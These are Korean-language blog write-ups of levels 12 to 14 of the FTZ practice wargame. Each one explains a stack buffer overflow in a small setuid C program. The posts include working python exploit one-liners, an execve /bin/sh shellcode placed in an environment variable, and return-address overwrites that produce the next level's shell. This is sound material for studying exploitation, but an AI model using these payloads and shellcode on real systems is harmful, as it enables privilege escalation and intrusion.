FTZ level14

Posted by dw0rdptr
2015. 3. 17. 21:15 System/FTZ


hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h> 
main(){  
 
    int crap; 
    int check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    
    if (check==0xdeadbeef)
    {     
        setreuid(3095,3095);     
        system("/bin/sh");   
    }
}    
cs



프로그램 안에서 쉘을 실행시키기 때문에 조건만 만족시켜주면 된다


buf에서 버퍼 오버플로우를 일으켜 check에 deadbeef를 채우면 되는데

표준입력으로 받기 때문에 파이프명령어 사용


| buf[20] | dummy[?????] | check[4] | ------


buf와 check 사이의 dummy값을 모르기 때문에 20부터 하나씩 채워나간다


(python -c 'print "A"*21 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*28 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*30 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*35 + "\xef\xbe\xad\xde"';cat)| ./attackme


...


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)| ./attackme




id

uid=3095(level15) gid=3094(level14) groups=3094(level14) 


성공.

my-pass



Level15 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level15  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17

FTZ level13

Posted by dw0rdptr
2015. 3. 17. 21:11 System/FTZ

-hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h> 
main(int argc, char *argv[]){   
 
    long i=0x1234567;  
    char buf[1024];   
 
    setreuid( 30943094 );   
    
    if(argc > 1)   
        strcpy(buf,argv[1]);   
 
    if(i != 0x1234567)
{   
        printf(" Warnning: Buffer Overflow !!! \n");   
        kill(0,11);   
    }
}
cs



gdb로 디스어셈블을 한결과 

<main+3>    sub      $0x418,%esp    0x418=1048


스택에 할당된 공간은 1048이다


높은주소

----------

  ret[4]                          자라는방향↓

----------

  sfp[4]

----------

dummy1[?]

----------

dummy2[?]

----------

i=0x1234567

----------

dummy3[?]

----------

buf[1024]                        

----------

낮은주소


소스코드를 보면 i에 0x1234567이라는 값이 없으면 프로그램이 강제로 종료된다


i에 저장된 값이 바뀌게되면 Warning : Buffer Overflow ! ! !라는 경고문이 뜨고

Segmentation fault 메시지와 함께 kill함수에 의해 프로세스가 종료된다.


i전까지 A로 채우고 i에 0x1234567을 입력해준다음 ret전까지 다시 A로 채워준다

그리고 ret에 환경변수 주소를 채우면 쉘을 획득하게 된다


일단 A를 1024바이트 부터 계속 하나씩 더해서 buf와 i 사이의 dummy1의크기를 구한다


./attackme `python -c 'print "A" * 1024'부터


.....

                       

./attackme `python -c 'print "A" * 1036'`까지 입력해보니


 Warnning: Buffer Overflow !!! 

Segmentation fault



드디어 떴다!


여기서 i전까지 A를 에러가 뜨기 바로 전인 1035개가 아니라 1036개를 채워야 한다

왜그런지 간단하게 설명하자면 


[A][A][A][\0]                   

           [01][23][45][67] →  i


이런식으로 끝에 null값이 들어가고 뒤에 문자열을 추가하면 null값이 사라지고 그위치부터 입력이 시작되기 때문에 

처음 경고문이 뜨는 1036개를 채워야한다


buf+dumm3=1036이므로


dummy3의 크기는 12


dummy1+2의 크기는 1048-buf(1024)+dummy3(12)+i(4), 1048-1040=8



낮은주소 | buf[1024] | dummy3[12] | i [4] | dummy1+2[8] | fsp[4] | ret[4] | 높은주소


이제 환경변수와 공격코드를 짜는일만 남았다.


환경변수

export shellcode=`python -c 'print "\x90"*50+ "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소는 0xbffffeda



따라서


공격코드는

./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xda\xfe\xff\xbf"'`


level14 passward


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17

FTZ level12

Posted by dw0rdptr
2015. 3. 17. 21:05 System/FTZ


-hint

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void ){    
 
    char str[256];     
    setreuid( 30933093 );    
    printf( "문장을 입력하세요.\n" );    
    gets( str );    
    printf( "%s\n", str );
}  
cs

 



gets는 입력받는 문자열의 길이를 제한하지 못해 선언된 버퍼보다 많은값을 입력받으면

버퍼 오버플로우가 발생하게 된다


level 11과는 다르게  프로그램 안에서 입력을 받고있다.


gdb 로 disass main명령어를 실행하면


main+3을 보면 스택에 0x108(264)의 공간을 만든다

이 공간은 str[256]+dummy이므로 dummy의 크기는 8byte이라는 것을알수있다



| str[256] | dummy[8] | sfp[4] | ret[4] |



먼저 환경변수 shellcode에 25바이트 쉘코드를 입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소를 찾는다

(소스는 level11 참조)



./get shellcode

The address of shellcode is 0xbffffec5



이제 공격 코드를 짜면되는데, 파이프 명령어를 이용한다

(python -c 'print "A"*268 + "\xc5\xfe\xff\xbf"' ;cat) | ./attackme

                                              (shellcode의 주소)



위와 같은 방법으로 스크립트 전체를 괄호로 묶고 cat 으로 나온 출력을 attackme 의 입력으로 돌려주면 된다.



uid=3093(level13) gid=3092(level12) groups=3092(level12)

쉘을 얻었다. my-pass를 실행하면


level13 Password



'System > FTZ' 카테고리의 다른 글

FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17